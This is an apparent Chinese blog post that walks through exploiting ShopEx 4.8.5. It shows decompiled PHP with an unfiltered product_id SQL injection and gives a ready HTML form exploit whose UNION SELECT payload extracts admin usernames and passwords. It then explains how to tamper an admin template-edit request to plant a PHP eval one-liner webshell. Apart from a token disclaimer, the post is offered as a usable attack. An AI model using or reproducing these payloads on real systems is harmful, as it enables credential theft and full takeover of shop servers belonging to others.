shopex 4.8.5 SQLINJECTION注射以及后台拿SHELL

最新推荐文章于 2023-11-27 16:38:40 发布

7禧

最新推荐文章于 2023-11-27 16:38:40 发布

阅读量1.3k

点赞数

分类专栏：漏洞收集文章标签： shell sql function zend xml action

漏洞收集专栏收录该内容

207 篇文章 3 订阅

订阅专栏

漏洞核心函数 \core\model_v5\trading\mdl.goods.php 由于是zend解密出来的具体行数就不贴了

01 function getproducts( $gid, $pid = 0 ) //注入注入注入注入注入注入注入注入注入注入注入注入注入注入注入注入注入注入

02 {

03 $sqlWhere = “”;

04 if ( 0 < $pid )

05 {

06 $sqlWhere = ” AND A.product_id = “.$pid; //没过滤 ~~~~~~ fuck之

07 }

08 $sql = “SELECT A.*,B.image_default FROM sdb_products AS A LEFT JOIN sdb_goods AS B ON A.goods_id=B.goods_id WHERE A.goods_id=”.intval( $gid ).$sqlWhere;

09 return $this->db->select( $sql );

10 }

\core\shop\controller\ctl.product.php 文件调用

01 function gnotify($goods_id=0,$product_id=0){

02 //print_r($_POST);

03 //exit;

04 if($_POST['goods']['goods_id']){

05 $goods_id = $_POST['goods']['goods_id'];

06 $product_id = $_POST['goods']['product_id']; //POST没初始化也没过滤

07 }

08 $this->id =$goods_id;

09 $objGoods = &$this->system->loadModel(‘trading/goods’);

11 //echo $goods_id.” – “.$product_id;

12 //exit;

13 $aProduct = $objGoods->getProducts($goods_id, $product_id); //直接带进去了还解释么??

15 $this->pagedata['goods'] = $aProduct[0];

16 if($this->member[member_id]){

17 $objMember = &$this->system->loadModel(‘member/member’);

18 $aMemInfo = $objMember->getFieldById($this->member[member_id], array(‘email’));

19 $this->pagedata['member'] = $aMemInfo;

20 }

22 $this->output();

23 }

Source code

<html>
<head>
<title>Shopex 4.8.5 SQL Injection Exp</title>
</head>
<body>
<h2>Shopex 4.8.5 SQL Injection Exp (product-gnotify)</h2>
<form action="http://www.0sec.in/?product-gnotify" method="post" name="submit_url">
<input type="hidden" name="goods[goods_id]" value="3">
<input type="hidden" name="goods[product_id]" value="1 and 1=2 union select 1,2,3,4,5,6,7,8,concat(0x245E,username,0x2D3E,userpass,0x5E24),10,11,12,13,14,15,16,17,18,19,20,21,22 from sdb_operators">
<input type="submit" value="">
</form>网址请修改:http://www.0sec.in/?product-gnotify <br />
本程序只能用于网站安全检测 <br />
禁止用于非法途径,产生的一切后果与作者无关!<br />
<body>
</html>

拿shell方法….

第一步页面管理修改模版然后选一个XML编辑

开始用 live http 抓包你们懂的然后把第一个POST包给抓出来

然后改包包要这么改我研究了半天尼玛的菊花红

id=1273923028-info.xml&tmpid=1273923028&name=index_temp.php&file_source=<?php eval($_POST[c])?>

解释一下 id是你选择的模版文件夹名称后面的info.xml 是你修改的XML文件 tmpid= 你们懂的就是模版文件夹然后 name 是你提交的文件名字 file_source 是后门或者shel

我这里是一句话你们懂的然后提交了之后地址是这样的http://Madman.in/themes/文件名称/你的木马名称

7禧

关注

0
点赞
踩
1

收藏

觉得还不错? 一键收藏
0
评论
shopex 4.8.5 SQLINJECTION注射以及后台拿SHELL

漏洞核心函数 \core\model_v5\trading\mdl.goods.php 由于是zend解密出来的具体行数就不贴了01 function getproducts( $gid, $pid = 0 ) //注入注入注入注入注入注入注入注入注入注入注入注入注入注入注入注入注入注入02 {03 $sqlWhere = “”;04 if ( 0
复制链接

扫一扫

专栏目录